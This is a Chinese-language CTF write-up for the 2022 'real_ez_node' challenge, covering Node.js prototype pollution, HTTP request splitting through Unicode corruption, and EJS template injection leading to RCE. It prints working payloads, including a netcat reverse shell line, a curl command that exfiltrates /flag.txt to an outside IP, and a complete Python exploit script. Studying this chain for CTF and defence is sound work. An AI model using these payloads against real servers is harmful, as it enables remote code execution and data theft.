[西湖论剑 2022]real_ez_node

[西湖论剑 2022]real_ez_node

看了很久没做出来,最后还是看着大佬的WP做出来的,初次接触到nodejs原型链污染这个方面的漏洞

/route/index.js /copy路由部分

router.post('/copy',(req,res)=>{
  res.setHeader('Content-type','text/html;charset=utf-8')
  var ip = req.connection.remoteAddress;
  console.log(ip);
  var obj = {
      msg: '',
  }
  if (!ip.includes('127.0.0.1')) {
      obj.msg="only for admin"
      res.send(JSON.stringify(obj));
      return 
  }
  let user = {};
  for (let index in req.body) {
      if(!index.includes("__proto__")){
          safeobj.expand(user, index, req.body[index])
      }
    }
  res.render('index');
})

  for (let index in req.body) {
      if(!index.includes("__proto__")){
          safeobj.expand(user, index, req.body[index])
      }
    }

这一小段代码,基本上可以确定确定是原型链污染

从大佬文章里面Get新姿势 !ip.includes('127.0.0.1'

访问/copy的ip被限制,通过访问/curl利用HTTP走私向/copy发送POST请求

!index.includes("__proto__")constructor.prototype 替代 __proto__

router.get('/curl', function(req, res) {
    var q = req.query.q;
    var resp = "";
    if (q) {
        var url = 'http://localhost:3000/?q=' + q
            try {
                http.get(url,(res1)=>{
                    const { statusCode } = res1;
                    const contentType = res1.headers['content-type'];
                  
                    let error;
                    // 任何 2xx 状态码都表示成功响应,但这里只检查 200。
                    if (statusCode !== 200) {
                      error = new Error('Request Failed.\n' +
                                        `Status Code: ${statusCode}`);
                    }
                    if (error) {
                      console.error(error.message);
                      // 消费响应数据以释放内存
                      res1.resume();
                      return;
                    }
                  
                    res1.setEncoding('utf8');
                    let rawData = '';
                    res1.on('data', (chunk) => { rawData += chunk;
                    res.end('request success') });
                    res1.on('end', () => {
                      try {
                        const parsedData = JSON.parse(rawData);
                        res.end(parsedData+'');
                      } catch (e) {
                        res.end(e.message+'');
                      }
                    });
                  }).on('error', (e) => {
                    res.end(`Got error: ${e.message}`);
                  })
                res.end('ok');
            } catch (error) {
                res.end(error+'');
            }
    } else {
        res.send("search param 'q' missing!");
    }
})
module.exports = router;

EJS引擎导致的RCE漏洞 EJS, Server side template injection RCE (CVE-2022-29078) - writeup

直接借用里面的Payload

http://localhost:3000/page?id=2&settings[view options][outputFunctionName]=x;process.mainModule.require('child_process').execSync('nc -e sh 127.0.0.1 1337');s

构造个原型链污染 outputFunctionName

为RCE代码

x;global.process.mainModule.require('child_process').exec('curl 198.13.42.139:5431/`cat /flag.txt`');var x

Payload

{"constructor.prototype.outputFunctionName":"x;global.process.mainModule.require('child_process').exec('curl 198.13.42.139:5431/`cat /flag.txt`');var x"}

nodejs<=8 的情况下存在 Unicode 字符损坏导致的 HTTP 拆分攻击,nodejs 不会对这些 Unicode 进行编码转义,因为它们不是 HTTP 控制字符

所以还要进行转义程Unicode

最终借鉴一下大佬的脚本

import urllib.parse
import requests
payload = ''' HTTP/1.1

POST /copy HTTP/1.1
Host: 127.0.0.1
Content-Type: application/json
Connection: close
Content-Length: 155

{"constructor.prototype.outputFunctionName":"x;global.process.mainModule.require('child_process').exec('curl 我的IP:我的端口/`cat /flag.txt`');var x"}
'''.replace("\n", "\r\n")


def encode(data):
    tmp = u""
    for i in data:
        tmp += chr(0x0100 + ord(i))
    return tmp


payload = encode(payload)
print(payload)

r = requests.get('http://1.14.71.254:28102/curl?q=' + urllib.parse.quote(payload))
print(r.text)

成功反弹

这题知识点太多,自己学了好几天,nodejs原型链污染也是第一次接触。。当时比赛时候就没做出来555

posted @ 2023-03-11 17:20  張冰冰  阅读(238)  评论(0编辑  收藏  举报